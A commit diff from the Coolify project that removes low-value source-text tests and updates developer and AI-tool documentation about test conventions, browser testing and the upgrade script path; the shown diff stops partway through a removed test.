mirror of
https://github.com/coollabsio/coolify.git
synced 2026-11-06 13:10:37 -04:00
test: remove tests that do not exercise app code
Remove tests that copy app logic into the test, grep PHP source as text, only check literals, constants, class_exists or PHP built-ins, duplicate other tests, or are always skipped. Keep source checks that guard security and authorization rules. Rename a duplicate Pest helper so the full suite loads, drop the missing v5/Browser path, and remove the CLAUDE.md symlink in favor of AGENTS.md. Correct AGENTS.md: Dusk is not installed and the upgrade script is scripts/upgrade.sh.
This commit is contained in:
@@ -22,6 +22,8 @@
|
||||
- Do not write tests that read Blade or CSS files as text to assert layout, classes, or copy; they break on every redesign and miss real failures.
|
||||
- Render the component (`Livewire::test()`, an HTTP request) and assert the result, including authorization; use a few `tests/v4/Browser` tests with screenshots for visual flows.
|
||||
- A source-text check is acceptable only for a correctness or security rule that rendering cannot prove easily, such as stable `wire:key` values or no raw user output.
|
||||
- Call the app code under test. Do not copy app logic into a test, assert only literals, constants, `class_exists`/`method_exists`, or PHP built-ins such as `escapeshellarg`.
|
||||
- Pest test files share one global function scope. Give file-level helper functions a unique name.
|
||||
|
||||
## Keep dynamic Livewire identities stable
|
||||
- In dynamic lists, key components and actions with immutable record identities, not counts, indexes, or array positions.
|
||||
|
||||
@@ -11,7 +11,7 @@ All Coolify AI documentation has been consolidated in the **`.ai/`** directory f
|
||||
|
||||
## Quick Start
|
||||
|
||||
- **For Claude Code**: Start with `CLAUDE.md` in the root directory
|
||||
- **For Claude Code**: Start with `AGENTS.md` in the root directory
|
||||
- **For Cursor IDE**: Start with `.ai/README.md` for navigation
|
||||
- **For All AI Tools**: Browse `.ai/` directory by topic
|
||||
|
||||
@@ -136,7 +136,7 @@ Use exact versions from `technology-stack.md`:
|
||||
5. **Form Authorization**: Security requirement, not optional
|
||||
|
||||
### When to Use Which File
|
||||
- **Quick commands**: `CLAUDE.md` or `development-workflow.md`
|
||||
- **Quick commands**: `AGENTS.md` or `development-workflow.md`
|
||||
- **Detailed patterns**: Topic-specific files in `.ai/patterns/`
|
||||
- **Testing**: `.ai/development/testing-patterns.md`
|
||||
- **Laravel specifics**: `.ai/development/laravel-boost.md`
|
||||
|
||||
@@ -38,7 +38,7 @@ Use the following workflow to test a self-hosted upgrade:
|
||||
1. Install the source version with the upgrade script:
|
||||
|
||||
```bash
|
||||
bash upgrade.sh sha-6492d081362c009519481ac70e50873e39ba1861
|
||||
bash scripts/upgrade.sh sha-6492d081362c009519481ac70e50873e39ba1861
|
||||
```
|
||||
|
||||
2. Set the current Coolify version and rebuild the cached configuration:
|
||||
@@ -68,7 +68,7 @@ npm run build # production build
|
||||
|
||||
## Browser Tests (Pest Browser Plugin)
|
||||
|
||||
Uses `pestphp/pest-plugin-browser` with Laravel Dusk 8. New browser tests go in `tests/v4/Browser/`.
|
||||
Uses `pestphp/pest-plugin-browser` (Playwright). Browser tests go in `tests/v4/Browser/`.
|
||||
|
||||
```bash
|
||||
# Run all browser tests
|
||||
@@ -83,7 +83,7 @@ php artisan test --compact --filter='can login with valid credentials'
|
||||
|
||||
### Writing Browser Tests
|
||||
|
||||
- Place new tests in `tests/v4/Browser/` — legacy Dusk tests in `tests/Browser/` should not be used as reference.
|
||||
- Place new tests in `tests/v4/Browser/`.
|
||||
- Use `RefreshDatabase` and seed required data (at minimum `InstanceSettings::create(['id' => 0])`) in `beforeEach`.
|
||||
- Key API: `visit()`, `fill(field, value)`, `click(text)`, `assertSee()`, `assertDontSee()`, `assertPathIs()`, `screenshot()`.
|
||||
- Always call `screenshot()` at the end of each test for debugging.
|
||||
@@ -100,11 +100,10 @@ function loginAsRoot(): mixed
|
||||
```
|
||||
|
||||
- See `tests/v4/Browser/LoginTest.php`, `tests/v4/Browser/DashboardTest.php`, and `tests/v4/Browser/RegistrationTest.php` for conventions.
|
||||
- Legacy Dusk macros in `app/Providers/DuskServiceProvider.php` use the old `type()`/`press()` API — do not mix with Pest Browser Plugin's `fill()`/`click()` API.
|
||||
|
||||
### How Browser Tests Actually Run (no Docker, no display needed)
|
||||
|
||||
`visit()` does NOT hit the dev app on `localhost:8000` and does NOT use the Dusk ChromeDriver on `:4444` (that config in `tests/DuskTestCase.php` is legacy). Instead the Pest Browser Plugin:
|
||||
`visit()` does NOT hit the dev app on `localhost:8000`. Instead the Pest Browser Plugin:
|
||||
|
||||
1. Starts a local Playwright server (`node node_modules/.bin/playwright run-server`) and launches a **headless Chromium** from `~/.cache/ms-playwright` (install once with `npm install && npx playwright install chromium`).
|
||||
2. Boots an **in-process amphp HTTP server** on a random port that serves the Laravel app from the test process itself.
|
||||
@@ -256,7 +255,6 @@ This application is a Laravel application and its main Laravel ecosystems packag
|
||||
- laravel/socialite (SOCIALITE) - v5
|
||||
- livewire/livewire (LIVEWIRE) - v3
|
||||
- laravel/boost (BOOST) - v2
|
||||
- laravel/dusk (DUSK) - v8
|
||||
- laravel/pint (PINT) - v1
|
||||
- pestphp/pest (PEST) - v4
|
||||
- phpunit/phpunit (PHPUNIT) - v12
|
||||
|
||||
@@ -1,8 +1,5 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Docker\GetContainersStatus;
|
||||
use App\Actions\Service\StopServiceApplication;
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\ServiceApplication;
|
||||
@@ -44,48 +41,7 @@ it('gives independently runnable application resources restart limit state', fun
|
||||
[ServiceApplication::class],
|
||||
]);
|
||||
|
||||
it('collects restart counts for preview and service containers from both status sources', function () {
|
||||
$dockerStatus = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
|
||||
$sentinelStatus = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
|
||||
|
||||
expect($dockerStatus)
|
||||
->toContain('previewContainerRestartCounts')
|
||||
->toContain('serviceContainerRestartCounts')
|
||||
->and($sentinelStatus)
|
||||
->toContain('previewContainerRestartCounts')
|
||||
->toContain('serviceContainerRestartCounts');
|
||||
});
|
||||
|
||||
it('ignores docker compose one-off job containers in both status sources', function () {
|
||||
$dockerStatus = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
|
||||
$sentinelStatus = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
|
||||
|
||||
expect($dockerStatus)
|
||||
->toContain("filter_var(data_get(\$labels, 'com.docker.compose.oneoff'), FILTER_VALIDATE_BOOLEAN)")
|
||||
->and($sentinelStatus)
|
||||
->toContain("filter_var(\$labels->get('com.docker.compose.oneoff'), FILTER_VALIDATE_BOOLEAN)");
|
||||
});
|
||||
|
||||
it('imports the application model used when claiming a restart limit', function () {
|
||||
$statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
|
||||
|
||||
expect($statusAction)
|
||||
->toContain('use App\\Models\\Application;')
|
||||
->toContain('Application::query()');
|
||||
});
|
||||
|
||||
it('limits restarts only for applications', function () {
|
||||
$migrations = collect(glob(database_path('migrations/*.php')))
|
||||
->map(fn (string $path): string => file_get_contents($path))
|
||||
->implode("\n");
|
||||
|
||||
expect($migrations)
|
||||
->toContain("'application_previews'")
|
||||
->toContain("'service_applications'")
|
||||
->toContain("'max_restart_count'")
|
||||
->toContain("'restart_limit_reached'")
|
||||
->toContain("dropColumn(['max_restart_count', 'restart_limit_reached'])");
|
||||
|
||||
$databaseModels = [
|
||||
ServiceDatabase::class,
|
||||
StandalonePostgresql::class,
|
||||
@@ -118,48 +74,9 @@ it('limits restarts only for applications', function () {
|
||||
expect(Schema::hasColumn($databaseTable, 'max_restart_count'))->toBeFalse()
|
||||
->and(Schema::hasColumn($databaseTable, 'restart_limit_reached'))->toBeFalse();
|
||||
}
|
||||
|
||||
foreach ([GetContainersStatus::class, PushServerUpdateJob::class] as $statusUpdater) {
|
||||
$source = file_get_contents((new ReflectionClass($statusUpdater))->getFileName());
|
||||
|
||||
expect($source)
|
||||
->not->toContain('$database->trackRestartCount')
|
||||
->not->toContain('$database->stoppedAfterRestartLimit()');
|
||||
}
|
||||
|
||||
$stopServiceResource = file_get_contents((new ReflectionClass(StopServiceApplication::class))->getFileName());
|
||||
|
||||
expect($stopServiceResource)
|
||||
->toContain('$resetRestartCount && $serviceApplication instanceof ServiceApplication');
|
||||
});
|
||||
|
||||
it('makes restart limits opt in for new application resources', function () {
|
||||
$migrationPaths = glob(database_path('migrations/*_make_restart_limits_opt_in.php'));
|
||||
|
||||
expect($migrationPaths)->toHaveCount(1);
|
||||
|
||||
$migration = file_get_contents($migrationPaths[0]);
|
||||
|
||||
expect($migration)
|
||||
->toContain("['applications', 'application_previews', 'service_applications']")
|
||||
->toContain("integer('max_restart_count')->default(0)->change()")
|
||||
->toContain('public $withinTransaction = false;')
|
||||
->toContain("->where('max_restart_count', 10)")
|
||||
->toContain('->chunkById(5000')
|
||||
->toContain("->whereIn('id', \$resources->pluck('id'))")
|
||||
->toContain("'max_restart_count' => 0")
|
||||
->toContain("'restart_limit_reached' => false");
|
||||
|
||||
$applicationSettings = file_get_contents(app_path('Livewire/Project/Application/Advanced.php'));
|
||||
$serviceSettings = file_get_contents(app_path('Livewire/Project/Service/Index.php'));
|
||||
|
||||
expect($applicationSettings)
|
||||
->toContain('public int $maxRestartCount = 0;')
|
||||
->toContain('$this->application->max_restart_count ?? 0')
|
||||
->and($serviceSettings)
|
||||
->toContain('public mixed $maxRestartCount = 0;')
|
||||
->toContain('$this->serviceApplication->max_restart_count ?? 0');
|
||||
|
||||
foreach ([Application::class, ApplicationPreview::class, ServiceApplication::class] as $modelClass) {
|
||||
expect((new $modelClass)->max_restart_count)->toBe(0);
|
||||
}
|
||||
|
||||
@@ -1,26 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
|
||||
it('stores nullable application container presence as a boolean', function () {
|
||||
$application = new Application;
|
||||
$application->forceFill(['container_present' => 1]);
|
||||
$migration = file_get_contents(base_path('database/migrations/2026_08_30_193506_add_container_present_to_applications_table.php'));
|
||||
|
||||
expect($application->container_present)->toBeTrue()
|
||||
->and($migration)->toContain("boolean('container_present')->nullable()");
|
||||
});
|
||||
|
||||
it('updates container presence at application lifecycle boundaries', function () {
|
||||
$stopAction = file_get_contents(app_path('Actions/Application/StopApplication.php'));
|
||||
$dockerStatus = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
|
||||
$sentinelStatus = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
|
||||
|
||||
expect($stopAction)->toContain('$containerPresent = ! $removeContainers;')
|
||||
->and($stopAction)->toMatch('/if \(\$server->isSwarm\(\)\).*?\$containerPresent = false;.*?docker stack rm/s')
|
||||
->and($stopAction)->toContain("'container_present' => \$containerPresent")
|
||||
->and($dockerStatus)->toContain("'container_present' => true")
|
||||
->and($dockerStatus)->toContain("'container_present' => false")
|
||||
->and($sentinelStatus)->toContain("'container_present' => true")
|
||||
->and($sentinelStatus)->toContain("'container_present' => false");
|
||||
});
|
||||
@@ -177,17 +177,6 @@ describe('GET /api/v1/applications/{uuid}/previews/{pull_request_id}/logs', func
|
||||
->assertUnprocessable()
|
||||
->assertJson(['message' => 'Invalid pull_request_id.']);
|
||||
});
|
||||
|
||||
test('uses the pull request id to select the preview container', function () {
|
||||
$controller = file_get_contents(app_path('Http/Controllers/Api/ApplicationsController.php'));
|
||||
$openApi = json_decode(file_get_contents(base_path('openapi.json')), true, flags: JSON_THROW_ON_ERROR);
|
||||
|
||||
expect($controller)
|
||||
->toContain("\$request->route('pull_request_id')")
|
||||
->toContain('getCurrentApplicationContainerStatus($application->destination->server, $application->id, $pullRequestId)')
|
||||
->and($openApi['paths'])
|
||||
->toHaveKey('/applications/{uuid}/previews/{pull_request_id}/logs');
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/previews/{pull_request_id}', function () {
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Application\StopApplication;
|
||||
use App\Actions\Docker\GetContainersStatus;
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\BaseModel;
|
||||
@@ -109,67 +107,6 @@ it('does not show the restart limit warning for a normal manual stop', function
|
||||
expect($html)->not->toContain('Restart limit reached');
|
||||
});
|
||||
|
||||
it('keeps restart tracking configurable when stopping an application', function () {
|
||||
$method = new ReflectionMethod(StopApplication::class, 'handle');
|
||||
$resetRestartCount = collect($method->getParameters())->firstWhere('name', 'resetRestartCount');
|
||||
|
||||
expect($resetRestartCount)->not->toBeNull()
|
||||
->and($resetRestartCount->getDefaultValue())->toBeTrue();
|
||||
});
|
||||
|
||||
it('can stop an application without removing its containers', function () {
|
||||
$method = new ReflectionMethod(StopApplication::class, 'handle');
|
||||
$removeContainers = collect($method->getParameters())->firstWhere('name', 'removeContainers');
|
||||
$action = file_get_contents(app_path('Actions/Application/StopApplication.php'));
|
||||
|
||||
expect($removeContainers)->not->toBeNull()
|
||||
->and($removeContainers->getDefaultValue())->toBeTrue()
|
||||
->and($action)->not->toContain('docker update --restart=no')
|
||||
->and($action)->toContain('if ($removeContainers)');
|
||||
});
|
||||
|
||||
it('preserves containers and skips cleanup when the restart limit is reached', function () {
|
||||
$statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
|
||||
$sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
|
||||
|
||||
expect($statusAction)->toContain('dockerCleanup: false')
|
||||
->and($statusAction)->toContain('resetRestartCount: false')
|
||||
->and($statusAction)->toContain('removeContainers: false')
|
||||
->and($statusAction)->toContain("['restart_limit_reached' => true]")
|
||||
->and($sentinelJob)->toContain("['restart_limit_reached' => true]");
|
||||
});
|
||||
|
||||
it('atomically claims the restart limit transition before stopping and notifying', function () {
|
||||
$statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
|
||||
$sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
|
||||
|
||||
foreach ([$statusAction, $sentinelJob] as $detector) {
|
||||
expect($detector)
|
||||
->toContain("->where('restart_limit_reached', false)")
|
||||
->toContain("->update(['restart_limit_reached' => true]) === 1");
|
||||
}
|
||||
});
|
||||
|
||||
it('clears the explicit restart limit state only after a successful main deployment', function () {
|
||||
$method = new ReflectionMethod(ApplicationDeploymentJob::class, 'handleSuccessfulDeployment');
|
||||
$source = file($method->getFileName());
|
||||
$deploymentJob = implode(array_slice($source, $method->getStartLine() - 1, $method->getEndLine() - $method->getStartLine() + 1));
|
||||
|
||||
expect(substr_count($deploymentJob, "'restart_limit_reached'] = false"))->toBe(1)
|
||||
->and($deploymentJob)->toContain("if (\$this->pull_request_id === 0) {\n \$restartState['restart_limit_reached'] = false;\n }")
|
||||
->and($deploymentJob)->toContain('$this->application->update($restartState);')
|
||||
->and(substr_count($deploymentJob, '$this->application->update('))->toBe(1);
|
||||
});
|
||||
|
||||
it('preserves restart-limit applications only while their exited container exists', function () {
|
||||
$statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
|
||||
$sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
|
||||
|
||||
expect($statusAction)->toContain("'container_present' => false")
|
||||
->and($statusAction)->toContain("'restart_limit_reached' => false")
|
||||
->and($sentinelJob)->toContain('if ($application->stoppedAfterRestartLimit() && $containerStatuses->every(');
|
||||
});
|
||||
|
||||
it('builds restart limit notification urls from the instance base url', function () {
|
||||
$application = new Application;
|
||||
$application->forceFill([
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Kernel;
|
||||
use App\Livewire\Project\Service\Heading;
|
||||
use App\Livewire\Project\Shared\EnvironmentVariable\Show;
|
||||
use App\Livewire\Team\AuditLog;
|
||||
use App\Livewire\Team\Index as TeamIndex;
|
||||
@@ -34,7 +32,6 @@ use App\Traits\Auditable;
|
||||
use Illuminate\Auth\Events\Failed;
|
||||
use Illuminate\Auth\Events\Logout;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Foundation\Http\Middleware\InvokeDeferredCallbacks;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
@@ -94,13 +91,6 @@ test('multiple audit inserts in one request are all deferred', function () {
|
||||
]);
|
||||
});
|
||||
|
||||
test('http kernel invokes deferred callbacks', function () {
|
||||
$kernel = app(Kernel::class);
|
||||
$middleware = (new ReflectionClass($kernel))->getProperty('middleware')->getValue($kernel);
|
||||
|
||||
expect($middleware)->toContain(InvokeDeferredCallbacks::class);
|
||||
});
|
||||
|
||||
test('audit persistence failures do not fail the action', function () {
|
||||
Schema::rename('audit_events', 'unavailable_audit_events');
|
||||
|
||||
@@ -837,23 +827,6 @@ test('audit action filter includes actions recorded for the current team', funct
|
||||
], $options, true));
|
||||
});
|
||||
|
||||
test('resource clone audit starts only after the destination server capability check', function () {
|
||||
$source = file_get_contents(app_path('Livewire/Project/Shared/ResourceOperations.php'));
|
||||
|
||||
expect(strpos($source, "auditLog('ui.resource.clone_started'"))
|
||||
->toBeGreaterThan(strpos($source, 'if (! $server->canHostResources())'));
|
||||
});
|
||||
|
||||
test('pull and restart records the service restart audit event after starting the service', function () {
|
||||
$method = new ReflectionMethod(Heading::class, 'pullAndRestartEvent');
|
||||
$source = file($method->getFileName());
|
||||
$methodSource = implode('', array_slice($source, $method->getStartLine() - 1, $method->getEndLine() - $method->getStartLine() + 1));
|
||||
|
||||
expect($methodSource)
|
||||
->toContain("auditServiceAction('ui.service.restarted')")
|
||||
->and(strpos($methodSource, 'StartService::run'))->toBeLessThan(strpos($methodSource, 'auditServiceAction'));
|
||||
});
|
||||
|
||||
test('critical operational events persist with their source action and actor', function (string $event) {
|
||||
auditLog($event, [
|
||||
'team_id' => $this->team->id,
|
||||
|
||||
@@ -2,20 +2,6 @@
|
||||
|
||||
use Illuminate\Support\Facades\Blade;
|
||||
|
||||
it('keeps the save button loading until the parent compose save finishes', function () {
|
||||
$component = file_get_contents(app_path('Livewire/Project/Service/StackForm.php'));
|
||||
|
||||
expect($component)
|
||||
->toContain('public function saveCompose($raw)')
|
||||
->toContain("\$this->dispatch('compose-save-finished')");
|
||||
});
|
||||
|
||||
it('does not show a saving notification for compose changes', function () {
|
||||
$component = file_get_contents(app_path('Livewire/Project/Service/EditCompose.php'));
|
||||
|
||||
expect($component)->not->toContain("\$this->dispatch('info', 'Saving new docker compose...')");
|
||||
});
|
||||
|
||||
it('keeps the saving state as an Alpine button binding', function () {
|
||||
$html = Blade::render('<x-forms.button x-bind:disabled="saving">Save changes</x-forms.button>');
|
||||
|
||||
|
||||
@@ -499,21 +499,6 @@ test('the storage save job does not delete a directory that is not empty', funct
|
||||
expect($volume->fresh()->is_directory)->toBeFalse();
|
||||
});
|
||||
|
||||
test('the Compose deployment writes content files after it removes the old containers', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
$methodStart = strpos($source, 'private function deploy_docker_compose_buildpack()');
|
||||
$methodEnd = strpos($source, 'private function pull_docker_compose_images()', $methodStart);
|
||||
$deploymentMethod = substr($source, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
$stopPosition = strpos($deploymentMethod, '$this->stop_running_container(force: true);');
|
||||
$startPosition = strpos($deploymentMethod, '$this->start_docker_compose_services();');
|
||||
|
||||
expect($stopPosition)->not->toBeFalse()
|
||||
->and($startPosition)->not->toBeFalse()
|
||||
->and($stopPosition)->toBeLessThan($startPosition)
|
||||
->and(substr_count($deploymentMethod, ' up -d'))->toBe(0);
|
||||
});
|
||||
|
||||
test('the server file sync keeps the content of a file storage when a directory is at its path', function () {
|
||||
$volume = contentFilesVolume($this->application, 'conf/app.conf');
|
||||
fakeContentFilesServer([$volume->fs_path => 'directory']);
|
||||
|
||||
@@ -102,25 +102,3 @@ describe('server method uses team scoping', function () {
|
||||
expect($methodBody)->not->toContain('Server::find($this->serverId)');
|
||||
});
|
||||
});
|
||||
|
||||
describe('ImportForm component uses shared ValidationPatterns', function () {
|
||||
test('runImport references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(ImportForm::class, 'runImport');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||
});
|
||||
|
||||
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -99,11 +99,3 @@ test('development helper version is read fresh for queue workers', function () {
|
||||
|
||||
expect(getHelperVersion())->toBe('second');
|
||||
});
|
||||
|
||||
test('development helper build uses the configured helper repository', function () {
|
||||
$component = file_get_contents(app_path('Livewire/Settings/Index.php'));
|
||||
|
||||
expect($component)
|
||||
->toContain('$imageRef = escapeshellarg(coolifyHelperImage().":{$version}");')
|
||||
->not->toContain('"ghcr.io/coollabsio/coolify-helper:{$version}"');
|
||||
});
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('exposes enable and disable public access methods on service index', function () {
|
||||
$source = file_get_contents(app_path('Livewire/Project/Service/Index.php'));
|
||||
|
||||
expect($source)
|
||||
->toContain('public function enablePublicAccess(): void')
|
||||
->toContain('public function disablePublicAccess(): void')
|
||||
->toContain('$this->instantSave()');
|
||||
});
|
||||
@@ -1,22 +0,0 @@
|
||||
<?php
|
||||
|
||||
test('managed environment variables are ordered first', function () {
|
||||
$component = file_get_contents(app_path('Livewire/Project/Shared/EnvironmentVariable/All.php'));
|
||||
|
||||
expect($component)
|
||||
->toContain("CASE WHEN key LIKE 'SERVICE_FQDN%'")
|
||||
->toMatch("/'kind' => 'managed',[\\s\\S]+?'kind' => 'hardcoded'/");
|
||||
});
|
||||
|
||||
test('missing required environment variables are ordered before generated service variables', function () {
|
||||
$component = file_get_contents(app_path('Livewire/Project/Shared/EnvironmentVariable/All.php'));
|
||||
|
||||
$requiredOrder = strpos($component, '$this->missingRequiredEnvironmentVariableIds($isPreview)', strpos($component, 'private function managedEnvironmentVariablesQuery'));
|
||||
$generatedOrder = strpos($component, "CASE WHEN key LIKE 'SERVICE_FQDN%'", strpos($component, 'private function managedEnvironmentVariablesQuery'));
|
||||
|
||||
expect($requiredOrder)
|
||||
->not->toBeFalse()
|
||||
->toBeLessThan($generatedOrder)
|
||||
->and($component)
|
||||
->toContain('->filter(fn (EnvironmentVariable $environmentVariable): bool => $environmentVariable->is_really_required)');
|
||||
});
|
||||
@@ -5,7 +5,6 @@ use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Notifications\Server\TraefikVersionOutdated;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Artisan;
|
||||
use Illuminate\Support\Facades\File;
|
||||
@@ -88,37 +87,6 @@ it('versions.json contains traefik branches with patch versions', function () {
|
||||
expect($newestBranch)->toBe('3.7');
|
||||
});
|
||||
|
||||
it('formats version with v prefix for display', function () {
|
||||
// Test the formatVersion logic from notification class
|
||||
$version = '3.6';
|
||||
$formatted = str_starts_with($version, 'v') ? $version : "v{$version}";
|
||||
|
||||
expect($formatted)->toBe('v3.6');
|
||||
|
||||
$versionWithPrefix = 'v3.6';
|
||||
$formatted2 = str_starts_with($versionWithPrefix, 'v') ? $versionWithPrefix : "v{$versionWithPrefix}";
|
||||
|
||||
expect($formatted2)->toBe('v3.6');
|
||||
});
|
||||
|
||||
it('compares semantic versions correctly', function () {
|
||||
// Test version comparison logic used in job
|
||||
$currentVersion = 'v3.5';
|
||||
$latestVersion = 'v3.6';
|
||||
|
||||
$isOutdated = version_compare(ltrim($currentVersion, 'v'), ltrim($latestVersion, 'v'), '<');
|
||||
|
||||
expect($isOutdated)->toBeTrue();
|
||||
|
||||
// Test equal versions
|
||||
$sameVersion = version_compare(ltrim('3.6', 'v'), ltrim('3.6', 'v'), '=');
|
||||
expect($sameVersion)->toBeTrue();
|
||||
|
||||
// Test newer version
|
||||
$newerVersion = version_compare(ltrim('3.7', 'v'), ltrim('3.6', 'v'), '>');
|
||||
expect($newerVersion)->toBeTrue();
|
||||
});
|
||||
|
||||
it('notification class accepts servers collection with outdated info', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server1 = Server::factory()->make([
|
||||
@@ -177,47 +145,6 @@ it('job handles servers with no proxy type', function () {
|
||||
expect($server->proxyType())->toBeNull();
|
||||
});
|
||||
|
||||
it('handles latest tag correctly', function () {
|
||||
// Test that 'latest' tag is not considered for outdated comparison
|
||||
$currentVersion = 'latest';
|
||||
$latestVersion = '3.6';
|
||||
|
||||
// Job skips notification for 'latest' tag
|
||||
$shouldNotify = $currentVersion !== 'latest';
|
||||
|
||||
expect($shouldNotify)->toBeFalse();
|
||||
});
|
||||
|
||||
it('groups servers by team correctly', function () {
|
||||
$team1 = Team::factory()->create(['name' => 'Team 1']);
|
||||
$team2 = Team::factory()->create(['name' => 'Team 2']);
|
||||
|
||||
$servers = collect([
|
||||
(object) ['team_id' => $team1->id, 'name' => 'Server 1'],
|
||||
(object) ['team_id' => $team1->id, 'name' => 'Server 2'],
|
||||
(object) ['team_id' => $team2->id, 'name' => 'Server 3'],
|
||||
]);
|
||||
|
||||
$grouped = $servers->groupBy('team_id');
|
||||
|
||||
expect($grouped)->toHaveCount(2);
|
||||
expect($grouped[$team1->id])->toHaveCount(2);
|
||||
expect($grouped[$team2->id])->toHaveCount(1);
|
||||
});
|
||||
|
||||
it('server check job exists and has correct structure', function () {
|
||||
expect(class_exists(CheckTraefikVersionForServerJob::class))->toBeTrue();
|
||||
|
||||
// Verify CheckTraefikVersionForServerJob has required properties
|
||||
$reflection = new ReflectionClass(CheckTraefikVersionForServerJob::class);
|
||||
expect($reflection->hasProperty('tries'))->toBeTrue();
|
||||
expect($reflection->hasProperty('timeout'))->toBeTrue();
|
||||
|
||||
// Verify it implements ShouldQueue
|
||||
$interfaces = class_implements(CheckTraefikVersionForServerJob::class);
|
||||
expect($interfaces)->toContain(ShouldQueue::class);
|
||||
});
|
||||
|
||||
it('sends immediate notifications when outdated traefik is detected', function () {
|
||||
// Notifications are now sent immediately from CheckTraefikVersionForServerJob
|
||||
// when outdated Traefik is detected, rather than being aggregated and delayed
|
||||
|
||||
@@ -360,17 +360,6 @@ test('database dump compression uses the helper image and shared CPU setting', f
|
||||
'high' => 75,
|
||||
]);
|
||||
|
||||
test('all dump all database commands use shared helper compression', function () {
|
||||
$source = file_get_contents(app_path('Jobs/DatabaseBackupJob.php'));
|
||||
|
||||
expect($source)
|
||||
->toContain('$this->buildCompressedDumpCommand($backupCommand)')
|
||||
->toContain('mysqldump -u root')
|
||||
->toContain('mariadb-dump -u root')
|
||||
->and(substr_count($source, '$this->buildCompressedDumpCommand($dumpCommand)'))->toBe(3)
|
||||
->and($source)->not->toContain('| gzip >');
|
||||
});
|
||||
|
||||
test('full database dumps create one logical all-databases archive regardless of saved database names', function (string $databaseType) {
|
||||
$backup = new ScheduledDatabaseBackup([
|
||||
'dump_all' => true,
|
||||
@@ -398,13 +387,3 @@ test('specific database dumps keep every selected database', function (string $d
|
||||
|
||||
expect($databases)->toBe(['default', 'analytics']);
|
||||
})->with(['postgresql', 'mysql', 'mariadb']);
|
||||
|
||||
test('individual database backup deletion surfaces local failures and honors selected S3 deletion', function () {
|
||||
$source = file_get_contents(app_path('Livewire/Project/Database/BackupExecutions.php'));
|
||||
|
||||
expect($source)
|
||||
->toContain("in_array('delete_backup_s3', \$selectedActions, true)")
|
||||
->toContain('deleteBackupsLocally($execution->filename, $server, throwError: true)')
|
||||
->toContain("throw new \\RuntimeException('The backup server is unavailable.')")
|
||||
->not->toContain('deleteBackupsLocally($execution->filename, $server);');
|
||||
});
|
||||
|
||||
@@ -1,32 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('persists a restart limit notification preference for every channel', function (string $channel) {
|
||||
$studly = Str::studly($channel);
|
||||
$component = file_get_contents(app_path("Livewire/Notifications/{$studly}.php"));
|
||||
$model = file_get_contents(app_path('Models/'.$studly.'NotificationSettings.php'));
|
||||
$column = "restart_limit_reached_{$channel}_notifications";
|
||||
$property = "restartLimitReached{$studly}Notifications";
|
||||
|
||||
expect($component)
|
||||
->toContain("public bool \${$property} = true;")
|
||||
->toContain("\$this->settings->{$column} = \$this->{$property};")
|
||||
->toContain("\$this->{$property} = \$this->settings->{$column};")
|
||||
->and($model)
|
||||
->toContain("'{$column}'");
|
||||
})->with(['email', 'discord', 'telegram', 'slack', 'pushover', 'webhook']);
|
||||
|
||||
it('enables restart limit notifications by default in every channel migration', function () {
|
||||
$migrations = collect(glob(database_path('migrations/*_add_restart_limit_reached_notifications_to_*')));
|
||||
|
||||
expect($migrations)->toHaveCount(6);
|
||||
$migrations->each(fn (string $migration) => expect(file_get_contents($migration))->toContain('->default(true)'));
|
||||
});
|
||||
|
||||
it('uses the inline validator facade for notification API updates', function () {
|
||||
$controller = file_get_contents(app_path('Http/Controllers/Api/NotificationsController.php'));
|
||||
|
